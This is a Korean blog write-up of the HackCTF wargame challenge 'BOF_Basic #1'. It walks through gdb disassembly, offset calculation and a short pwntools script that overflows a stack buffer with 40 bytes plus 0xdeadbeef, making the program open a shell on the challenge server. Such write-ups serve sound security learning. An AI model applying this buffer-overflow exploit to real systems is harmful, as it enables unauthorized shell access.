반응형
HackHiJack
HHJ
HackHiJack
전체 방문자
오늘
어제
  • 분류 전체보기 (99)
    • chatGPT (2)
    • pwn (2)
    • 워게임 (32)
    • Reversing (0)
    • Cryptography (12)
    • Web (6)
    • CTFs (16)
    • TryHackMe (6)
    • Go (5)
    • Forensics (18)

블로그 메뉴

  • 홈

공지사항

  • Welcome To HHJ's Blog

인기 글

태그

  • main.go
  • main
  • 암호 #AES #드림핵
  • rootme
  • go
  • startup
  • 해킹 #TryHackMe #WriteUp #ignite
  • linkfile
  • hacking
  • forensic
  • webhacking.kr
  • analyis
  • package
  • Import
  • func
  • 포렌식
  • pwnable.kr
  • function
  • ㅣ
  • shellctf

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HackHiJack

HHJ

HackCTF - BOF_Basic #1
워게임

HackCTF - BOF_Basic #1

2021. 7. 27. 17:25
728x90
반응형

오늘은 bof_basic 1을 풀어볼 것이다.

 

먼저 실행을 해보자.

위처럼 실행된다.

그런데 A를 위보다 더 많이 넣었더니 check가 0x41414141(A는 hex로 41)로 바뀌었다.

내 예상으로는 return address가 check인 것 같다.

 

그럼 먼저 main을 디스어셈블 해보자

(gdb) disas main
Dump of assembler code for function main:
   0x080484cb <+0>:	lea    ecx,[esp+0x4]
   0x080484cf <+4>:	and    esp,0xfffffff0
   0x080484d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:	push   ebp
   0x080484d6 <+11>:	mov    ebp,esp
   0x080484d8 <+13>:	push   ecx
   0x080484d9 <+14>:	sub    esp,0x34
   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
---Type <return> to continue, or q <return> to quit---
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>
   0x08048569 <+158>:	add    esp,0x10
   0x0804856c <+161>:	sub    esp,0xc
   0x0804856f <+164>:	push   0x8048678
   0x08048574 <+169>:	call   0x8048390 <puts@plt>
   0x08048579 <+174>:	add    esp,0x10
   0x0804857c <+177>:	mov    eax,0x0
   0x08048581 <+182>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:	leave  
   0x08048585 <+186>:	lea    esp,[ecx-0x4]
   0x08048588 <+189>:	ret    
End of assembler dump.

중간에 fgets로 받는다. 그런데 중간에 system call을 한다.

 

보기 어려우니깐 ida로 살펴보자.

그 system콜은 쉘을 실행하는 것이다.

 

그리고 0x0804543에서 ebp+var_C랑 0xDEADBEEF랑 비교한다.

 

0x08048511을 보면 check가 ebp+var_C의 hex를 보여준다.

 

그러면 먼저 buf가 들어가는 주소와 ebp+var_C의 주소를 확인해보자.

 

1. buf address

 

먼저 fgets부분에 브레이크를 걸고 실행한다. 그리고 아래의 명령어로 buf 시작 주소를 확인한다.

(gdb) b *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r
Starting program: /home/psj/hackctf/bb/bof_basic 

Breakpoint 1, 0x080484f2 in main ()
(gdb) i r esp
esp            0xffffcfd0	0xffffcfd0
(gdb) x/2wx 0xffffcfd0
0xffffcfd0:	0xffffcfe4	0x0000002d

0xffffcfe4부터 들어가는 걸 확인할 수 있다.

 

2. ebp+var_C address

 

ida말고 맨 위쪽에 gdb를 보면 ebp+var_C가 아닌 ebp-0xc라고 되어있다.

 

그러면 p를 이용해서 구할 수 있다.

(gdb) r
Starting program: /home/psj/hackctf/bb/bof_basic 

Breakpoint 1, 0x080484f2 in main ()
(gdb) p/x $ebp-0xc
$2 = 0xffffd00c

0xffffd00c가 ebp-0xc이다.

 

이제 buf 시작주소부터 ebp-0xc까지 얼마의 바이트가 필요한지 구해보자.

(gdb) p/d 0xffffd00c-0xffffcfe4
$3 = 40

40바이트가 필요하다.

 

그러면 nop(\x90)을 40바이트를 넣고 0xdeadbeef를 넣으면 쉘을 딸 수 있을 것이다.

 

이제 exploit code를 짜 보자.

from pwn import *

#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz",3000)

payload = b"\x90"*40
payload += p32(0xdeadbeef)

p.send(payload)

p.interactive()

위처럼 짜고 실행을 해보자.

쉘 획득에 성공했다!!

728x90
반응형

'워게임' 카테고리의 다른 글

Dreamhack - basic_exploitation_002  (0) 2021.07.28
HackCTF - ROP  (0) 2021.07.27
Shellcode(쉘코드) 모음  (0) 2021.07.27
HackCTF - Simple_Overflow_ver_2  (0) 2021.07.27
HackCTF - BOF_PIE  (0) 2021.07.27
    '워게임' 카테고리의 다른 글
    • Dreamhack - basic_exploitation_002
    • HackCTF - ROP
    • Shellcode(쉘코드) 모음
    • HackCTF - Simple_Overflow_ver_2
    HackHiJack
    HackHiJack
    $ whoami HHJ

    티스토리툴바